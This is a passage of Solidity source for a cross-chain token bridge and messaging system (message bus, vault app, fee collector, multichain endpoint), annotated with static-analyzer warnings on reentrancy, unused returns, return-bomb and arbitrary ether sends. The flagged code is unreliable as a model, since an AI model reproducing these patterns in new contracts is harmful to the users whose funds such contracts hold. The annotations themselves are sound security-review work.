msg.sender\n )\n );\n\n if (ok) {\n return abi.decode((res), (IMessageReceiverApp.ExecutionStatus));\n }\n\n\t\t// reentrancy-events | ID: d719969\n handleExecutionRevert(gasLeftBeforeExecution, res);\n\n return IMessageReceiverApp.ExecutionStatus.Fail;\n }\n\n function verifyTransfer(\n MsgDataTypes.TransferInfo calldata _transfer\n ) private view returns (bytes32) {\n bytes32 transferId;\n\n address bridgeAddr;\n\n MsgDataTypes.TransferType t = _transfer.t;\n\n if (t == MsgDataTypes.TransferType.LqRelay) {\n bridgeAddr = liquidityBridge;\n\n transferId = keccak256(\n abi.encodePacked(\n _transfer.sender,\n _transfer.receiver,\n _transfer.token,\n _transfer.amount,\n _transfer.srcChainId,\n uint64(block.chainid),\n _transfer.refId\n )\n );\n\n require(\n IBridge(bridgeAddr).transfers(transferId) == true,\n \"relay not exist\"\n );\n } else if (t == MsgDataTypes.TransferType.LqWithdraw) {\n bridgeAddr = liquidityBridge;\n\n transferId = keccak256(\n abi.encodePacked(\n uint64(block.chainid),\n _transfer.wdseq,\n _transfer.receiver,\n _transfer.token,\n _transfer.amount\n )\n );\n\n require(\n IBridge(bridgeAddr).withdraws(transferId) == true,\n \"withdraw not exist\"\n );\n } else {\n if (\n t == MsgDataTypes.TransferType.PegMint ||\n t == MsgDataTypes.TransferType.PegWithdraw\n ) {\n bridgeAddr = (t == MsgDataTypes.TransferType.PegMint)\n ? pegBridge\n : pegVault;\n\n transferId = keccak256(\n abi.encodePacked(\n _transfer.receiver,\n _transfer.token,\n _transfer.amount,\n _transfer.sender,\n _transfer.srcChainId,\n _transfer.refId\n )\n );\n } else {\n bridgeAddr = (t == MsgDataTypes.TransferType.PegV2Mint)\n ? pegBridgeV2\n : pegVaultV2;\n\n transferId = keccak256(\n abi.encodePacked(\n _transfer.receiver,\n _transfer.token,\n _transfer.amount,\n _transfer.sender,\n _transfer.srcChainId,\n _transfer.refId,\n bridgeAddr\n )\n );\n }\n\n require(\n IPeggedTokenBridge(bridgeAddr).records(transferId) == true,\n \"record not exist\"\n );\n }\n\n require(\n IDelayedTransfer(bridgeAddr)\n .delayedTransfers(transferId)\n .timestamp == 0,\n \"transfer delayed\"\n );\n\n return\n keccak256(\n abi.encodePacked(\n MsgDataTypes.MsgType.MessageWithTransfer,\n bridgeAddr,\n transferId\n )\n );\n }\n\n function computeMessageOnlyId(\n MsgDataTypes.Route memory _route,\n bytes calldata _message\n ) private view returns (bytes32) {\n bytes memory sender = _route.senderBytes;\n\n if (sender.length == 0) {\n sender = abi.encodePacked(_route.sender);\n }\n\n return\n keccak256(\n abi.encodePacked(\n MsgDataTypes.MsgType.MessageOnly,\n sender,\n _route.receiver,\n _route.srcChainId,\n _route.srcTxHash,\n uint64(block.chainid),\n _message\n )\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0dd2d1d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0dd2d1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessage(\n MsgDataTypes.Route memory _route,\n bytes calldata _message\n ) private returns (IMessageReceiverApp.ExecutionStatus) {\n uint256 gasLeftBeforeExecution = gasleft();\n\n bool ok;\n\n bytes memory res;\n\n if (_route.senderBytes.length == 0) {\n\t\t\t// reentrancy-events | ID: 7da179f\n\t\t\t// reentrancy-events | ID: 0dd2d1d\n\t\t\t// reentrancy-eth | ID: 353ca31\n (ok, res) = address(_route.receiver).call{value: msg.value}(\n abi.encodeWithSelector(\n bytes4(\n keccak256(\n bytes(\n \"executeMessage(address,uint64,bytes,address)\"\n )\n )\n ),\n _route.sender,\n _route.srcChainId,\n _message,\n msg.sender\n )\n );\n } else {\n\t\t\t// reentrancy-events | ID: 7da179f\n\t\t\t// reentrancy-events | ID: 0dd2d1d\n\t\t\t// reentrancy-eth | ID: 353ca31\n (ok, res) = address(_route.receiver).call{value: msg.value}(\n abi.encodeWithSelector(\n bytes4(\n keccak256(\n bytes(\"executeMessage(bytes,uint64,bytes,address)\")\n )\n ),\n _route.senderBytes,\n _route.srcChainId,\n _message,\n msg.sender\n )\n );\n }\n\n if (ok) {\n return abi.decode((res), (IMessageReceiverApp.ExecutionStatus));\n }\n\n\t\t// reentrancy-events | ID: 0dd2d1d\n handleExecutionRevert(gasLeftBeforeExecution, res);\n\n return IMessageReceiverApp.ExecutionStatus.Fail;\n }\n\n function handleExecutionRevert(\n uint256 _gasLeftBeforeExecution,\n bytes memory _returnData\n ) private {\n uint256 gasLeftAfterExecution = gasleft();\n\n uint256 maxTargetGasLimit = block.gaslimit - preExecuteMessageGasUsage;\n\n if (\n _gasLeftBeforeExecution < maxTargetGasLimit &&\n gasLeftAfterExecution <= _gasLeftBeforeExecution / 64\n ) {\n assembly {\n invalid()\n }\n }\n\n string memory revertMsg = Utils.getRevertMsg(_returnData);\n\n checkAbortPrefix(revertMsg);\n\n\t\t// reentrancy-events | ID: c19a992\n\t\t// reentrancy-events | ID: a005e41\n\t\t// reentrancy-events | ID: 1b2ac5d\n\t\t// reentrancy-events | ID: e11080f\n\t\t// reentrancy-events | ID: d719969\n\t\t// reentrancy-events | ID: a35f5c4\n\t\t// reentrancy-events | ID: 0dd2d1d\n emit CallReverted(revertMsg);\n }\n\n function checkAbortPrefix(string memory _revertMsg) private pure {\n bytes memory prefixBytes = bytes(MsgDataTypes.ABORT_PREFIX);\n\n bytes memory msgBytes = bytes(_revertMsg);\n\n if (msgBytes.length >= prefixBytes.length) {\n for (uint256 i = 0; i < prefixBytes.length; i++) {\n if (msgBytes[i] != prefixBytes[i]) {\n return;\n }\n }\n\n revert(_revertMsg);\n }\n }\n\n function getRouteInfo(\n MsgDataTypes.RouteInfo calldata _route\n ) private pure returns (MsgDataTypes.Route memory) {\n return\n MsgDataTypes.Route(\n _route.sender,\n \"\",\n _route.receiver,\n _route.srcChainId,\n _route.srcTxHash\n );\n }\n\n function getRouteInfo(\n MsgDataTypes.RouteInfo2 calldata _route\n ) private pure returns (MsgDataTypes.Route memory) {\n return\n MsgDataTypes.Route(\n address(0),\n _route.sender,\n _route.receiver,\n _route.srcChainId,\n _route.srcTxHash\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c19a992): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c19a992: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferAndExecuteMsg(\n MsgDataTypes.BridgeTransferParams calldata _tp,\n MsgDataTypes.MsgWithTransferExecutionParams calldata _mp\n ) external {\n\t\t// reentrancy-events | ID: c19a992\n _bridgeTransfer(_mp.transfer.t, _tp);\n\n\t\t// reentrancy-events | ID: c19a992\n executeMessageWithTransfer(\n _mp.message,\n _mp.transfer,\n _mp.sigs,\n _mp.signers,\n _mp.powers\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b2ac5d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b2ac5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function refundAndExecuteMsg(\n MsgDataTypes.BridgeTransferParams calldata _tp,\n MsgDataTypes.MsgWithTransferExecutionParams calldata _mp\n ) external {\n\t\t// reentrancy-events | ID: 1b2ac5d\n _bridgeTransfer(_mp.transfer.t, _tp);\n\n\t\t// reentrancy-events | ID: 1b2ac5d\n executeMessageWithTransferRefund(\n _mp.message,\n _mp.transfer,\n _mp.sigs,\n _mp.signers,\n _mp.powers\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 14d4e06): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 14d4e06: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ad1dcb2): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for ad1dcb2: Ensure that all the return values of the function calls are used.\n function _bridgeTransfer(\n MsgDataTypes.TransferType t,\n MsgDataTypes.BridgeTransferParams calldata _params\n ) private {\n if (t == MsgDataTypes.TransferType.LqRelay) {\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n IBridge(liquidityBridge).relay(\n _params.request,\n _params.sigs,\n _params.signers,\n _params.powers\n );\n } else if (t == MsgDataTypes.TransferType.LqWithdraw) {\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n IBridge(liquidityBridge).withdraw(\n _params.request,\n _params.sigs,\n _params.signers,\n _params.powers\n );\n } else if (t == MsgDataTypes.TransferType.PegMint) {\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n IPeggedTokenBridge(pegBridge).mint(\n _params.request,\n _params.sigs,\n _params.signers,\n _params.powers\n );\n } else if (t == MsgDataTypes.TransferType.PegV2Mint) {\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n\t\t\t// unused-return | ID: 14d4e06\n IPeggedTokenBridgeV2(pegBridgeV2).mint(\n _params.request,\n _params.sigs,\n _params.signers,\n _params.powers\n );\n } else if (t == MsgDataTypes.TransferType.PegWithdraw) {\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n IOriginalTokenVault(pegVault).withdraw(\n _params.request,\n _params.sigs,\n _params.signers,\n _params.powers\n );\n } else if (t == MsgDataTypes.TransferType.PegV2Withdraw) {\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n\t\t\t// unused-return | ID: ad1dcb2\n IOriginalTokenVaultV2(pegVaultV2).withdraw(\n _params.request,\n _params.sigs,\n _params.signers,\n _params.powers\n );\n }\n }\n\n function setLiquidityBridge(address _addr) public onlyOwner {\n require(_addr != address(0), \"invalid address\");\n\n liquidityBridge = _addr;\n\n emit LiquidityBridgeUpdated(liquidityBridge);\n }\n\n function setPegBridge(address _addr) public onlyOwner {\n require(_addr != address(0), \"invalid address\");\n\n pegBridge = _addr;\n\n emit PegBridgeUpdated(pegBridge);\n }\n\n function setPegVault(address _addr) public onlyOwner {\n require(_addr != address(0), \"invalid address\");\n\n pegVault = _addr;\n\n emit PegVaultUpdated(pegVault);\n }\n\n function setPegBridgeV2(address _addr) public onlyOwner {\n require(_addr != address(0), \"invalid address\");\n\n pegBridgeV2 = _addr;\n\n emit PegBridgeV2Updated(pegBridgeV2);\n }\n\n function setPegVaultV2(address _addr) public onlyOwner {\n require(_addr != address(0), \"invalid address\");\n\n pegVaultV2 = _addr;\n\n emit PegVaultV2Updated(pegVaultV2);\n }\n\n function setPreExecuteMessageGasUsage(uint256 _usage) public onlyOwner {\n preExecuteMessageGasUsage = _usage;\n }\n}\n\ninterface ISigsVerifier {\n function verifySigs(\n bytes memory _msg,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external view;\n}\n\ncontract MessageBusSender is Ownable {\n ISigsVerifier public immutable sigsVerifier;\n\n uint256 public feeBase;\n\n uint256 public feePerByte;\n\n mapping(address => uint256) public withdrawnFees;\n\n event Message(\n address indexed sender,\n address receiver,\n uint256 dstChainId,\n bytes message,\n uint256 fee\n );\n\n event Message2(\n address indexed sender,\n bytes receiver,\n uint256 dstChainId,\n bytes message,\n uint256 fee\n );\n\n event MessageWithTransfer(\n address indexed sender,\n address receiver,\n uint256 dstChainId,\n address bridge,\n bytes32 srcTransferId,\n bytes message,\n uint256 fee\n );\n\n event FeeWithdrawn(address receiver, uint256 amount);\n\n event FeeBaseUpdated(uint256 feeBase);\n\n event FeePerByteUpdated(uint256 feePerByte);\n\n constructor(ISigsVerifier _sigsVerifier) {\n sigsVerifier = _sigsVerifier;\n }\n\n function sendMessage(\n address _receiver,\n uint256 _dstChainId,\n bytes calldata _message\n ) external payable {\n _sendMessage(_dstChainId, _message);\n\n emit Message(msg.sender, _receiver, _dstChainId, _message, msg.value);\n }\n\n function sendMessage(\n bytes calldata _receiver,\n uint256 _dstChainId,\n bytes calldata _message\n ) external payable {\n _sendMessage(_dstChainId, _message);\n\n emit Message2(msg.sender, _receiver, _dstChainId, _message, msg.value);\n }\n\n function _sendMessage(\n uint256 _dstChainId,\n bytes calldata _message\n ) private {\n require(_dstChainId != block.chainid, \"Invalid chainId\");\n\n uint256 minFee = calcFee(_message);\n\n require(msg.value >= minFee, \"Insufficient fee\");\n }\n\n function sendMessageWithTransfer(\n address _receiver,\n uint256 _dstChainId,\n address _srcBridge,\n bytes32 _srcTransferId,\n bytes calldata _message\n ) external payable {\n require(_dstChainId != block.chainid, \"Invalid chainId\");\n\n uint256 minFee = calcFee(_message);\n\n require(msg.value >= minFee, \"Insufficient fee\");\n\n emit MessageWithTransfer(\n msg.sender,\n _receiver,\n _dstChainId,\n _srcBridge,\n _srcTransferId,\n _message,\n msg.value\n );\n }\n\n\t// WARNING Vulnerability (return-bomb | severity: Low | ID: 2bff1f0): A low level callee may consume all callers gas unexpectedly.\n\t// Recommendation for 2bff1f0: Avoid unlimited implicit decoding of returndata.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2fee90f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2fee90f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e7eeefa): MessageBusSender.withdrawFee(address,uint256,bytes[],address[],uint256[]) sends eth to arbitrary user Dangerous calls (sent,None) = _account.call{gas 50000,value amount}()\n\t// Recommendation for e7eeefa: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d5e87d4): MessageBusSender.withdrawFee(address,uint256,bytes[],address[],uint256[])._account lacks a zerocheck on \t (sent,None) = _account.call{gas 50000,value amount}()\n\t// Recommendation for d5e87d4: Check that the address is not zero.\n function withdrawFee(\n address _account,\n uint256 _cumulativeFee,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external {\n bytes32 domain = keccak256(\n abi.encodePacked(block.chainid, address(this), \"withdrawFee\")\n );\n\n sigsVerifier.verifySigs(\n abi.encodePacked(domain, _account, _cumulativeFee),\n _sigs,\n _signers,\n _powers\n );\n\n uint256 amount = _cumulativeFee - withdrawnFees[_account];\n\n require(amount > 0, \"No new amount to withdraw\");\n\n withdrawnFees[_account] = _cumulativeFee;\n\n\t\t// return-bomb | ID: 2bff1f0\n\t\t// reentrancy-events | ID: 2fee90f\n\t\t// missing-zero-check | ID: d5e87d4\n\t\t// arbitrary-send-eth | ID: e7eeefa\n (bool sent, ) = _account.call{value: amount, gas: 50000}(\"\");\n\n require(sent, \"failed to withdraw fee\");\n\n\t\t// reentrancy-events | ID: 2fee90f\n emit FeeWithdrawn(_account, amount);\n }\n\n function calcFee(bytes calldata _message) public view returns (uint256) {\n return feeBase + _message.length * feePerByte;\n }\n\n function setFeePerByte(uint256 _fee) external onlyOwner {\n feePerByte = _fee;\n\n emit FeePerByteUpdated(feePerByte);\n }\n\n function setFeeBase(uint256 _fee) external onlyOwner {\n feeBase = _fee;\n\n emit FeeBaseUpdated(feeBase);\n }\n}\n\ncontract MessageBus is MessageBusSender, MessageBusReceiver {\n constructor(\n ISigsVerifier _sigsVerifier,\n address _liquidityBridge,\n address _pegBridge,\n address _pegVault,\n address _pegBridgeV2,\n address _pegVaultV2\n )\n MessageBusSender(_sigsVerifier)\n MessageBusReceiver(\n _liquidityBridge,\n _pegBridge,\n _pegVault,\n _pegBridgeV2,\n _pegVaultV2\n )\n {}\n\n function init(\n address _liquidityBridge,\n address _pegBridge,\n address _pegVault,\n address _pegBridgeV2,\n address _pegVaultV2\n ) external {\n initOwner();\n\n initReceiver(\n _liquidityBridge,\n _pegBridge,\n _pegVault,\n _pegBridgeV2,\n _pegVaultV2\n );\n }\n}\n\nabstract contract MessageSenderApp is MessageBusAddress {\n using SafeERC20 for IERC20;\n\n function sendMessage(\n address _receiver,\n uint64 _dstChainId,\n bytes memory _message,\n uint256 _fee\n ) internal {\n MessageSenderLib.sendMessage(\n _receiver,\n _dstChainId,\n _message,\n messageBus,\n _fee\n );\n }\n\n function sendMessage(\n bytes calldata _receiver,\n uint64 _dstChainId,\n bytes memory _message,\n uint256 _fee\n ) internal {\n MessageSenderLib.sendMessage(\n _receiver,\n _dstChainId,\n _message,\n messageBus,\n _fee\n );\n }\n\n function sendMessageWithTransfer(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce,\n uint32 _maxSlippage,\n bytes memory _message,\n MsgDataTypes.BridgeSendType _bridgeSendType,\n uint256 _fee\n ) internal returns (bytes32) {\n return\n MessageSenderLib.sendMessageWithTransfer(\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce,\n _maxSlippage,\n _message,\n _bridgeSendType,\n messageBus,\n _fee\n );\n }\n\n function sendTokenTransfer(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce,\n uint32 _maxSlippage,\n MsgDataTypes.BridgeSendType _bridgeSendType\n ) internal returns (bytes32) {\n return\n MessageSenderLib.sendMessageWithTransfer(\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce,\n _maxSlippage,\n \"\", // empty message, which will not trigger sendMessage\n _bridgeSendType,\n messageBus,\n 0\n );\n }\n}\n\nabstract contract MessageApp is MessageSenderApp, MessageReceiverApp {\n constructor(address _messageBus) {\n messageBus = _messageBus;\n }\n}\n\ninterface IMultichainEndpoint {\n enum CallbackExecutionStatus {\n Success,\n Failed,\n Retry\n }\n\n function SAPPHIRE_CHAINID() external view returns (uint64);\n\n function executeMessageWithTransfer(\n address _token,\n uint256 _amount,\n uint64 srcChainId,\n bytes memory _message\n ) external payable returns (CallbackExecutionStatus);\n\n function executeMessageWithTransferFallback(\n address _token,\n uint256 _amount,\n bytes calldata _message\n ) external payable returns (CallbackExecutionStatus);\n}\n\ncontract CrossChainVaultApp is MessageApp, Ownable {\n using SafeERC20 for ERC20;\n\n enum CrossChainVaultMessageType {\n LockAndMint,\n BurnAndUnlock\n }\n\n struct SetAllowedSender {\n address sender;\n uint64 srcChainId;\n bool isAllowed;\n }\n\n struct CrossChainAssetData {\n bool isDataSet;\n address token;\n string name;\n string symbol;\n uint8 decimals;\n uint64 chainId;\n }\n\n event SetAuthorisedSender(\n address indexed sender,\n uint64 indexed chainId,\n bool isSet\n );\n\n event ActualEndpointChange(address prev, address updated);\n\n event EndpointExecutionReverted(bytes reason);\n\n ICrossChainVault public immutable vault;\n\n IMultichainEndpoint public endpoint;\n\n mapping(uint64 => mapping(address => CrossChainERC20))\n public mintedTokenByOriginal;\n\n mapping(uint64 => mapping(CrossChainERC20 => address))\n public originalTokenByMinted;\n\n mapping(address => mapping(uint64 => bool)) public allowedSenders;\n\n mapping(uint64 => bool) public allowedSenderSetup;\n\n mapping(address => mapping(uint64 => CrossChainAssetData))\n public crossChainAssetsData;\n\n constructor(address _vault, address _messageBus) MessageApp(_messageBus) {\n vault = ICrossChainVault(_vault);\n }\n\n function setActualEndpoint(address _endpoint) public onlyOwner {\n require(\n address(endpoint) == address(0),\n \"The endpoint is already configured\"\n );\n\n emit ActualEndpointChange(address(endpoint), _endpoint);\n\n endpoint = IMultichainEndpoint(_endpoint);\n }\n\n function setCrossChainAssets(\n CrossChainAssetData[] calldata assets\n ) public onlyOwner {\n for (uint i = 0; i < assets.length; i++) {\n crossChainAssetsData[assets[i].token][assets[i].chainId] = assets[\n i\n ];\n }\n }\n\n function setAllowedSenders(\n SetAllowedSender[] calldata senders\n ) public onlyOwner {\n for (uint i = 0; i < senders.length; i++) {\n require(\n !allowedSenderSetup[senders[i].srcChainId],\n \"Sender is already setup\"\n );\n\n emit SetAuthorisedSender(\n senders[i].sender,\n senders[i].srcChainId,\n senders[i].isAllowed\n );\n\n allowedSenders[senders[i].sender][senders[i].srcChainId] = senders[\n i\n ].isAllowed;\n\n allowedSenderSetup[senders[i].srcChainId] = true;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 477c44e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 477c44e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessage(\n address srcContract,\n uint64 _srcChainId,\n bytes calldata _message,\n address\n ) external payable override onlyMessageBus returns (ExecutionStatus) {\n require(\n allowedSenders[srcContract][_srcChainId],\n \"Unauthorised sender\"\n );\n\n if (block.chainid != endpoint.SAPPHIRE_CHAINID()) {\n require(_srcChainId == endpoint.SAPPHIRE_CHAINID(), \"Not Sapphire\");\n }\n\n (bytes memory lockData, bytes memory _data) = abi.decode(\n _message,\n (bytes, bytes)\n );\n\n\t\t// reentrancy-events | ID: 477c44e\n (address token, uint256 amount) = _processVaultCommand(\n _srcChainId,\n lockData\n );\n\n\t\t// reentrancy-events | ID: 477c44e\n ERC20(token).safeTransfer(address(endpoint), amount);\n\n IMultichainEndpoint.CallbackExecutionStatus status = IMultichainEndpoint\n .CallbackExecutionStatus\n .Failed;\n\n\t\t// reentrancy-events | ID: 477c44e\n try\n endpoint.executeMessageWithTransfer(\n token,\n amount,\n _srcChainId,\n _data\n )\n returns (IMultichainEndpoint.CallbackExecutionStatus _status) {\n status = _status;\n } catch (bytes memory reason) {\n\t\t\t// reentrancy-events | ID: 477c44e\n emit EndpointExecutionReverted(reason);\n\n status = endpoint.executeMessageWithTransferFallback(\n token,\n amount,\n _data\n );\n }\n\n if (status == IMultichainEndpoint.CallbackExecutionStatus.Success) {\n return ExecutionStatus.Success;\n } else if (\n status == IMultichainEndpoint.CallbackExecutionStatus.Failed\n ) {\n return ExecutionStatus.Fail;\n } else if (\n status == IMultichainEndpoint.CallbackExecutionStatus.Retry\n ) {\n return ExecutionStatus.Retry;\n }\n\n return ExecutionStatus.Fail;\n }\n\n function _processVaultCommand(\n uint64 srcChainId,\n bytes memory rawCommand\n ) private returns (address token, uint256 amt) {\n (uint8 _type, address srcAddress, uint256 amount) = abi.decode(\n rawCommand,\n (uint8, address, uint256)\n );\n\n CrossChainVaultMessageType cmdType = CrossChainVaultMessageType(_type);\n\n amt = amount;\n\n if (cmdType == CrossChainVaultMessageType.LockAndMint) {\n CrossChainAssetData memory data = crossChainAssetsData[srcAddress][\n srcChainId\n ];\n\n require(data.isDataSet, \"Metadata is not set\");\n\n token = _mintTokens(\n CrossChainERC20.CrossChainERC20Config(\n data.name,\n data.symbol,\n data.decimals,\n srcChainId,\n srcAddress\n ),\n amount\n );\n } else if (cmdType == CrossChainVaultMessageType.BurnAndUnlock) {\n\t\t\t// reentrancy-events | ID: 477c44e\n vault.unlock(srcAddress, amount);\n\n token = srcAddress;\n } else {\n revert();\n }\n }\n\n function _mintTokens(\n CrossChainERC20.CrossChainERC20Config memory originalTokenDetails,\n uint256 amount\n ) private returns (address) {\n CrossChainERC20 minted = mintedTokenByOriginal[\n originalTokenDetails.originalChainId\n ][originalTokenDetails.originalAddress];\n\n if (address(minted) == address(0)) {\n minted = new CrossChainERC20(originalTokenDetails);\n\n mintedTokenByOriginal[originalTokenDetails.originalChainId][\n originalTokenDetails.originalAddress\n ] = minted;\n\n originalTokenByMinted[originalTokenDetails.originalChainId][\n minted\n ] = originalTokenDetails.originalAddress;\n }\n\n\t\t// reentrancy-events | ID: 477c44e\n minted.mint(address(this), amount);\n\n return address(minted);\n }\n\n receive() external payable {}\n\n function lockAndMint(\n address to,\n uint64 chainId,\n address token,\n uint256 amount,\n bytes memory message\n ) public payable {\n require(msg.sender == address(endpoint), \"Invalid endpoint\");\n\n ERC20(token).safeTransferFrom(msg.sender, address(this), amount);\n\n ERC20(token).safeIncreaseAllowance(address(vault), amount);\n\n amount = vault.lock(token, amount);\n\n bytes memory lockData = abi.encode(\n uint8(CrossChainVaultMessageType.LockAndMint),\n token,\n amount\n );\n\n bytes memory payload = abi.encode(lockData, message);\n\n sendMessage(\n to,\n chainId,\n payload,\n IMessageBus(messageBus).calcFee(payload)\n );\n }\n\n function burnAndUnlock(\n address to,\n uint64 chainId,\n address token,\n uint256 amount,\n bytes memory message\n ) public payable {\n require(msg.sender == address(endpoint), \"Invalid endpoint\");\n\n require(\n originalTokenByMinted[chainId][CrossChainERC20(token)] !=\n address(0),\n \"Invalid cross-chain token\"\n );\n\n ERC20(token).safeTransferFrom(msg.sender, address(this), amount);\n\n CrossChainERC20 crossChainToken = CrossChainERC20(token);\n\n crossChainToken.burn(address(this), amount);\n\n bytes memory unlockData = abi.encode(\n uint8(CrossChainVaultMessageType.BurnAndUnlock),\n crossChainToken.originalAddress(),\n amount\n );\n\n bytes memory payload = abi.encode(unlockData, message);\n\n sendMessage(\n to,\n chainId,\n payload,\n IMessageBus(messageBus).calcFee(payload)\n );\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IWROSE {\n function deposit() external payable;\n\n function transfer(address to, uint value) external returns (bool);\n\n function withdraw(uint) external;\n}\n\ncontract FeesCollector is Ownable {\n uint256 public feesCollected;\n\n event FeesCollected(address indexed to, uint256 amount);\n\n event FeesDeposited(uint256 amount);\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: edbfa8a): FeesCollector._collectFees(address,uint256) sends eth to arbitrary user Dangerous calls to.transfer(amount)\n\t// Recommendation for edbfa8a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _collectFees(address payable to, uint256 amount) internal {\n require(amount <= feesCollected, \"Insufficient fees collected\");\n\n feesCollected -= amount;\n\n\t\t// arbitrary-send-eth | ID: edbfa8a\n to.transfer(amount);\n\n emit FeesCollected(to, amount);\n }\n\n function collectFees(address payable to, uint256 amount) public onlyOwner {\n _collectFees(to, amount);\n }\n\n function _depositFees(uint256 amount) internal {\n feesCollected += amount;\n\n\t\t// reentrancy-events | ID: 51c144e\n emit FeesDeposited(amount);\n }\n}\n\ncontract MultichainEndpoint is\n IMultichainEndpoint,\n FeesCollector,\n ERC2771Context\n{\n using SafeMath for uint;\n\n using SafeERC20 for IERC20;\n\n uint64 public constant SAPPHIRE_CHAINID_TESTNET = 0x5aff;\n\n uint64 public constant SAPPHIRE_CHAINID_MAINNET = 0x5afe;\n\n uint64 public immutable SAPPHIRE_CHAINID;\n\n enum MultichainCommandType {\n ProxyPass,\n Receive\n }\n\n enum MessageStoreType {\n MessageReceived,\n MultichainMessageSent\n }\n\n struct ConnectEndpointParams {\n uint64 chainId;\n address contractAddress;\n }\n\n struct EndpointFee {\n uint256 settlementCost;\n uint256 settlementCostInLocalCurrency;\n }\n\n struct SetEndpointFee {\n uint64 chainId;\n EndpointFee fee;\n }\n\n address public nativeWrapper;\n\n address public feeSetter;\n\n mapping(uint64 => address) public connectedEndpoints;\n\n mapping(address => uint64) public chainIdByEndpointAddress;\n\n mapping(MessageStoreType => mapping(bytes32 => bool))\n public settledMessages;\n\n mapping(bytes32 => bool) internal _executedMessages;\n\n mapping(bytes32 => bool) public _failedMessages;\n\n mapping(bytes32 => address) private _messageRawHashToSender;\n\n mapping(bytes32 => address) internal _dataHashToSender;\n\n mapping(address => bool) public allowedSenders;\n\n mapping(uint64 => EndpointFee) public endpointsDestinationFees;\n\n CrossChainVaultApp public immutable 